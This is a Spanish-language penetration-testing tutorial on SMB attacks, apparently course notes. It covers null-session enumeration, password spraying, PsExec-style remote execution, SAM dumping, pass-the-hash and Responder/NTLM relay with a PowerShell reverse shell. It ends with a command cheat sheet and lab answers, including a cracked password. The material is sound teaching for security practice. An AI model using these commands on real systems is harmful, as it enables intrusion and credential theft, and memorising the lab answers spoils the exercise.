👾Ataques a SMB
Server Message Block (SMB) es un protocolo de comunicación creado para proporcionar acceso compartido a archivos e impresoras entre nodos de una red. Inicialmente, fue diseñado para ejecutarse sobre NetBIOS sobre TCP/IP (NBT) usando el puerto TCP 139
y los puertos UDP 137
y 138
. Sin embargo, con Windows 2000, Microsoft agregó la opción de ejecutar SMB directamente sobre TCP/IP en el puerto 445
sin la capa NetBIOS adicional. Hoy en día, los sistemas operativos Windows modernos utilizan SMB sobre TCP pero aún admiten la implementación de NetBIOS como conmutación por error.
Otro protocolo que comúnmente se relaciona con SMB es MSRPC (Llamada a procedimiento remoto de Microsoft) . RPC proporciona al desarrollador de aplicaciones una forma genérica de ejecutar un procedimiento (también conocido como función) en un proceso local o remoto sin tener que comprender los protocolos de red utilizados para admitir la comunicación, como se especifica en MS-RPCE , que define un protocolo RPC sobre SMB. que puede utilizar canalizaciones con nombre del protocolo SMB como transporte subyacente.
Enumeración
Dependiendo de la implementación de SMB y del sistema operativo, obtendremos información diferente usando Nmap
. Tenga en cuenta que cuando se selecciona el sistema operativo Windows, la información de la versión generalmente no se incluye como parte de los resultados del análisis de Nmap. En cambio, Nmap intentará adivinar la versión del sistema operativo. Sin embargo, a menudo necesitaremos otros análisis para identificar si el objetivo es vulnerable a un exploit en particular. Cubriremos la búsqueda de vulnerabilidades conocidas más adelante en esta sección. Por ahora, escaneemos los puertos 139 y 445 TCP
.
El escaneo de Nmap revela información esencial sobre el objetivo:
Versión SMB (Samba smbd 4.6.2)
Nombre de host HTB
El sistema operativo es Linux basado en la implementación de SMB.
Exploremos algunas configuraciones erróneas comunes y ataques específicos de protocolos.
Configuraciones erróneas
SMB se puede configurar para que no requiera autenticación, lo que a menudo se denomina null session
. En cambio, podemos iniciar sesión en un sistema sin nombre de usuario ni contraseña.
Autenticación anónima
Si encontramos un servidor SMB que no requiere un nombre de usuario y contraseña o encontramos credenciales válidas, podemos obtener una lista de recursos compartidos, nombres de usuarios, grupos, permisos, políticas, servicios, etc. La mayoría de las herramientas que interactúan con SMB permiten conectividad de sesión nula, incluyendo smbclient
, smbmap
, rpcclient
, o enum4linux
. Exploremos cómo podemos interactuar con archivos compartidos y RPC usando autenticación nula.
Recursos compartidos
Usando smbclient
podemos mostrar una lista de los recursos compartidos del servidor con la opción -L
, y usando la opción -N
le decimos que smbclient
use la sesión nula.
Smbmap
es otra herramienta que nos ayuda a enumerar recursos compartidos de red y acceder a los permisos asociados. Una ventaja de smbmap
es que proporciona una lista de permisos para cada carpeta compartida.
Usando la opción -r
o -R
(recursiva) en smbmap
, se puede navegar por los directorios:
En el ejemplo anterior, los permisos están configurados en READ
y WRITE
, que se pueden usar para cargar y descargar archivos.
Remote Procedure Call (RPC)
Podemos utilizar rpcclient
con una sesión nula para enumerar una estación de trabajo o controlador de dominio.
rpcclient
nos ofrece muchos comandos diferentes para ejecutar funciones específicas en el servidor SMB para recopilar información o modificar atributos del servidor como un nombre de usuario. Podemos utilizar esta hoja de referencia del Instituto SANS o revisar la lista completa de todas estas funciones que se encuentra en la página de manual del archivo rpcclient
.
Enum4linux
es otra utilidad que admite sesiones nulas y utiliza nmblookup
, net
, rpcclient
y smbclient
para automatizar algunas enumeraciones comunes de objetivos SMB como:
Grupo de trabajo/nombre de dominio
Información de usuarios
Información del sistema operativo
Información de grupos
Carpetas compartidas
Información de política de contraseñas
La herramienta original fue escrita en Perl y reescrita por Mark Lowe en Python .
Ataques específicos del protocolo
Si no se habilita una sesión nula, necesitaremos credenciales para interactuar con el protocolo SMB. Dos formas comunes de obtener credenciales son la fuerza bruta y la pulverización de contraseñas .
Fuerza bruta y Password Spraying
Cuando utilizamos la fuerza bruta, probamos tantas contraseñas como sea posible en una cuenta, pero podemos bloquearla si alcanzamos el umbral. Podemos utilizar la fuerza bruta y detenernos antes de alcanzar el umbral si lo sabemos. De lo contrario, no recomendamos utilizar la fuerza bruta.
La pulverización de contraseñas es una mejor alternativa ya que podemos apuntar a una lista de nombres de usuario con una contraseña común para evitar bloqueos de cuentas. Podemos probar más de una contraseña si conocemos el umbral de bloqueo de la cuenta. Normalmente, dos o tres intentos son seguros, siempre que esperemos entre 30 y 60 minutos entre intentos. Exploremos la herramienta CrackMapExec que incluye la capacidad de ejecutar la pulverización de contraseñas.
Con CrackMapExec (CME), podemos apuntar a múltiples IP, utilizando numerosos usuarios y contraseñas. Exploremos un caso de uso cotidiano para la pulverización de contraseñas. Para realizar una pulverización de contraseña contra una IP, podemos usar la opción -u
para especificar un archivo con una lista de usuarios y -p
para especificar una contraseña. Esto intentará autenticar a todos los usuarios de la lista utilizando la contraseña proporcionada.
Password Spraying
Nota: De forma predeterminada, CME se cerrará después de que se encuentre un inicio de sesión exitoso. El uso de la opción --continue-on-success
continuará apareciendo incluso después de que se encuentre una contraseña válida. Es muy útil para asignar una única contraseña a una gran lista de usuarios. Además, si nos dirigimos a una computadora que no está unida a un dominio, necesitaremos usar la opción --local-auth
. Para obtener un estudio más detallado sobre la pulverización de contraseñas, consulte el módulo Enumeración y ataques de Active Directory.
Para obtener instrucciones de uso más detalladas, consulte la guía de documentación de la herramienta .
SMB
Los servidores SMB de Linux y Windows ofrecen diferentes rutas de ataque. Por lo general, solo obtendremos acceso al sistema de archivos, abusaremos de privilegios o explotaremos vulnerabilidades conocidas en un entorno Linux, como veremos más adelante en esta sección. Sin embargo, en Windows, la superficie de ataque es más significativa.
Al atacar un servidor SMB de Windows, nuestras acciones estarán limitadas por los privilegios que teníamos sobre el usuario que logramos comprometer. Si este usuario es Administrador o tiene privilegios específicos podremos realizar operaciones como:
Ejecución remota de comandos
Extraer hashes de la base de datos SAM
Enumeración de usuarios conectados
Pasar el hash (PTH)
Analicemos cómo podemos realizar tales operaciones. Además, aprenderemos cómo se puede abusar del protocolo SMB para recuperar el hash de un usuario como método para escalar privilegios u obtener acceso a una red.
Ejecución remota de código (RCE)
Antes de pasar a cómo ejecutar un comando en un sistema remoto usando SMB, hablemos de Sysinternals. El sitio web Windows Sysinternals fue creado en 1996 por Mark Russinovich y Bryce Cogswell para ofrecer recursos técnicos y utilidades para administrar, diagnosticar, solucionar problemas y monitorear un entorno de Microsoft Windows. Microsoft adquirió Windows Sysinternals y sus activos el 18 de julio de 2006.
Sysinternals presentó varias herramientas gratuitas para administrar y monitorear computadoras que ejecutan Microsoft Windows. El software ahora se puede encontrar en el sitio web de Microsoft . Una de esas herramientas gratuitas para administrar sistemas remotos es PsExec.
PsExec es una herramienta que nos permite ejecutar procesos en otros sistemas, con total interactividad para aplicaciones de consola, sin tener que instalar el software cliente manualmente. Funciona porque tiene una imagen de servicio de Windows dentro de su ejecutable. Toma este servicio y lo implementa en el recurso compartido admin$ (de forma predeterminada) en la máquina remota. Luego utiliza la interfaz DCE/RPC a través de SMB para acceder a la API del Administrador de control de servicios de Windows. A continuación, inicia el servicio PSExec en la máquina remota. Luego, el servicio PSExec crea una canalización con nombre que puede enviar comandos al sistema.
Podemos descargar PsExec desde el sitio web de Microsoft , o podemos usar algunas implementaciones de Linux:
Impacket PsExec : ejemplo de funcionalidad similar a Python PsExec usando RemComSvc .
Impacket SMBExec : un enfoque similar a PsExec sin utilizar RemComSvc . La técnica se describe aquí. Esta implementación va un paso más allá y crea una instancia de un servidor SMB local para recibir el resultado de los comandos. Esto es útil cuando la máquina de destino NO tiene un recurso compartido grabable disponible.
Impacket atexec : este ejemplo ejecuta un comando en la máquina de destino a través del servicio Programador de tareas y devuelve el resultado del comando ejecutado.
CrackMapExec : incluye una implementación de
smbexec
yatexec
.Metasploit PsExec : implementación de Ruby PsExec.
Impacket PsExec
Para usar impacket-psexec
, debemos proporcionar el dominio/nombre de usuario, la contraseña y la dirección IP de nuestra máquina de destino. Para obtener información más detallada podemos utilizar la ayuda de impacket:
Para conectarse a una máquina remota con una cuenta de administrador local, usando impacket-psexec
, puede usar el siguiente comando:
Las mismas opciones se aplican a impacket-smbexec
y impacket-atexec
.
CrackMapExec
Otra herramienta que podemos utilizar para ejecutar CMD o PowerShell es CrackMapExec
. Una ventaja CrackMapExec
es la disponibilidad para ejecutar un comando en varios hosts a la vez. Para usarlo, debemos especificar el protocolo smb
, la dirección IP o el rango de direcciones IP, la opción -u
de nombre de usuario y -p
contraseña, y la opción -x
de ejecutar comandos cmd o mayúsculas -X
para ejecutar comandos de PowerShell.
Nota: Si --exec-method
no está definido, CrackMapExec intentará ejecutar el método atexec; si falla, puede intentar especificar --exec-method
smbexec.
Enumeración de usuarios logueados
Imaginemos que estamos en una red con varias máquinas. Algunos de ellos comparten la misma cuenta de administrador local. En este caso, podríamos utilizar CrackMapExec
para enumerar los usuarios que han iniciado sesión en todas las máquinas dentro de la misma red 10.10.110.17/24
, lo que acelera nuestro proceso de enumeración.
Extraer hashes de la base de datos SAM
El Administrador de cuentas de seguridad (SAM) es un archivo de base de datos que almacena las contraseñas de los usuarios. Se puede utilizar para autenticar usuarios locales y remotos. Si obtenemos privilegios administrativos en una máquina, podemos extraer los hashes de la base de datos SAM para diferentes propósitos:
Autenticarse como otro usuario.
Cracking de contraseñas: si logramos descifrar la contraseña, podemos intentar reutilizarla para otros servicios o cuentas.
Pass the Hash: Lo discutiremos más adelante en esta sección.
Pass the Hash (PtH)
Si logramos obtener un hash NTLM de un usuario y no podemos descifrarlo, aún podemos usar el hash para autenticarnos a través de SMB con una técnica llamada Pass-the-Hash (PtH). PtH permite a un atacante autenticarse en un servidor o servicio remoto utilizando el hash NTLM subyacente de la contraseña de un usuario en lugar de la contraseña en texto plano. Podemos utilizar un ataque PtH con cualquier herramienta cómo Impacket
, SMBMap
, CrackMapExec
, entre otras. A continuación se muestra un ejemplo de cómo funcionaría esto con CrackMapExec
:
Ataques de autenticación forzada
También podemos abusar del protocolo SMB creando un servidor SMB falso para capturar los hashes NetNTLM v1/v2 de los usuarios .
La herramienta más común para realizar este tipo de operaciones es Responder
. Responder es una herramienta de envenenamiento LLMNR, NBT-NS y MDNS con diferentes capacidades, una de ellas es la posibilidad de configurar servicios falsos, incluido SMB, para robar hashes NetNTLM v1/v2. En su configuración predeterminada, encontrará tráfico LLMNR y NBT-NS. Luego, responderá en nombre de los servidores que la víctima está buscando y capturará sus hashes NetNTLM.
Ilustremos un ejemplo para entender mejor cómo funciona Responder
. Imaginemos que creamos un servidor SMB falso usando la configuración predeterminada de Responder, con el siguiente comando:
Cuando un usuario o un sistema intenta realizar una resolución de nombre (NR), una máquina lleva a cabo una serie de procedimientos para recuperar la dirección IP de un host por su nombre de host. En máquinas con Windows, el procedimiento será aproximadamente el siguiente:
Se requiere la dirección IP del recurso compartido de archivos del nombre de host.
Se comprobará si hay registros adecuados en el archivo del host local (C:\Windows\System32\Drivers\etc\hosts).
Si no se encuentran registros, la máquina cambia al caché DNS local, que realiza un seguimiento de los nombres resueltos recientemente.
¿No hay ningún registro DNS local? Se enviará una consulta al servidor DNS que se haya configurado.
Si todo lo demás falla, la máquina emitirá una consulta de multidifusión, solicitando la dirección IP del archivo compartido de otras máquinas en la red.
Supongamos que un usuario escribió mal el nombre de una carpeta compartida \\mysharefoder\
en lugar de \\mysharedfolder\
. En ese caso, todas las resoluciones de nombres fallarán porque el nombre no existe y la máquina enviará una consulta de multidifusión a todos los dispositivos de la red, incluidos nosotros que ejecutamos nuestro servidor SMB falso. Esto es un problema porque no se toman medidas para verificar la integridad de las respuestas. Los atacantes pueden aprovechar este mecanismo escuchando dichas consultas y falsificando respuestas, lo que lleva a la víctima a creer que los servidores maliciosos son dignos de confianza. Esta confianza se suele utilizar para robar credenciales.
Estas credenciales capturadas se pueden descifrar mediante hashcat o transmitirse a un host remoto para completar la autenticación y hacerse pasar por el usuario.
Todos los Hashes guardados se encuentran en el directorio de registros de Responder ( /usr/share/responder/logs/
). Podemos copiar el hash a un archivo e intentar descifrarlo usando el módulo hashcat 5600.
Nota: Si observa varios hashes para una cuenta, esto se debe a que NTLMv2 utiliza un desafío tanto del lado del cliente como del lado del servidor que es aleatorio para cada interacción. Esto hace que los hashes resultantes que se envían se agreguen una cadena aleatoria de números. Es por eso que los hashes no coinciden pero siguen representando la misma contraseña.
El hash NTLMv2 fue descifrado. La contraseña es P@ssword
. Si no podemos descifrar el hash, potencialmente podemos transmitir el hash capturado a otra máquina usando impacket-ntlmrelayx o Responder MultiRelay.py . Veamos un ejemplo usando impacket-ntlmrelayx
.
Primero, debemos configurar SMB OFF
en nuestro archivo de configuración de respuesta ( /etc/responder/Responder.conf
).
Luego ejecutamos impacket-ntlmrelayx
con la opción --no-http-server
, -smb2support
y la máquina de destino con la opción -t
. Por defecto impacket-ntlmrelayx
volcará la base de datos SAM, pero podremos ejecutar comandos añadiendo la opción -c
.
Podemos crear un reverse shell de PowerShell usando https://www.revshells.com/ , configurar la dirección IP de nuestra máquina, el puerto y la opción Powershell #3 (Base64).
Una vez que la víctima se autentica en nuestro servidor, envenenamos la respuesta y hacemos que ejecute nuestro comando para obtener un shell inverso.
RPC
En el módulo Enumeración , analizamos cómo enumerar una máquina usando RPC. Además de la enumeración, podemos usar RPC para realizar cambios en el sistema, como por ejemplo:
Cambiar la contraseña de un usuario.
Cree un nuevo usuario de dominio.
Crea una nueva carpeta compartida.
Tenga en cuenta que se requieren algunas configuraciones específicas para permitir este tipo de cambios a través de RPC. Podemos usar la página de manual de rpclient o SMB Access desde Linux Cheat Sheet del SANS Institute para explorar esto más a fondo.
Cheatsheet
Comando
Descripción
smbclient -N -L //10.129.14.128
Pruebas de sesión nula contra el servicio SMB.
smbmap -H 10.129.14.128
Enumeración de recursos compartidos de red mediante smbmap
smbmap -H 10.129.14.128 -r notes
Enumeración recursiva de recursos compartidos de red mediante smbmap
smbmap -H 10.129.14.128 --download "notes\note.txt"
Descargar un archivo específico de la carpeta compartida
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
Subir un archivo específico en la carpeta compartida
rpcclient -U'%' 10.10.110.17
Sesión nula con rpcclient
./enum4linux-ng.py 10.10.11.45 -A -C
Enumeración automatizada del servicio SMB mediante enum4linux-ng
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'
Password Spraying contra diferentes usuarios de una lista.
impacket-psexec administrator:'Password123!'@10.10.110.17
Conectarse al servicio SMB usando impacket-psexec
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
Ejecutar un comando sobre el servicio SMB usando crackmapexec
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
Enumeración de usuarios registrados
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
Extraiga hashes de la base de datos SAM
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
Utilice la técnica Pass-The-Hash para autenticarse en el host de destino
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Volcado de la base de datos SAM usando impacket-ntlmrelayx
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>
Ejecutar un reverse shell basado en PowerShell usando impacket-ntlmrelayx
Caso práctico
Pregunta 1
¿Cuál es el nombre de la carpeta compartida con permisos de LECTURA?
La carpeta compartida con permisos de LECTURA es: GGJ
Al acceder con smbclient vemos que hay un id_rsa
para acceder por SSH, pero que no podemos descargar.
Pregunta 2
¿Cuál es la contraseña del usuario "jason"?
Al ejecutar enum4linux observamos que hay varios usuarios y nos da info relevante sobre el dominio:
Vamos a hacer bruteforce contra el usuario jason utilizando el flag --local-auth
:
Obtenemos la contraseña del usuario jason: 34c8zuNBo91!@28Bszh
🏆
Pregunta 3
Inicie sesión como usuario "jason" a través de SSH y busque el archivo flag.txt. Envíe el contenido como respuesta.
Como vimos anteriormente, en la carpeta compartida GGJ había un id_rsa
, pero que no nos podíamos descargar por no tener los permisos necesarios:
Vamos a intentar acceder con el usuario jason y ver si lo podemos descargar:
Buum!! Nos conseguimos descargar el id_rsa, por lo que vamos a poder conectarnos por SSH sin contraseña de la siguiente manera:
Conseguido! Hemos accedido correctamente por SSH y hemos obtenido la flag.
Última actualización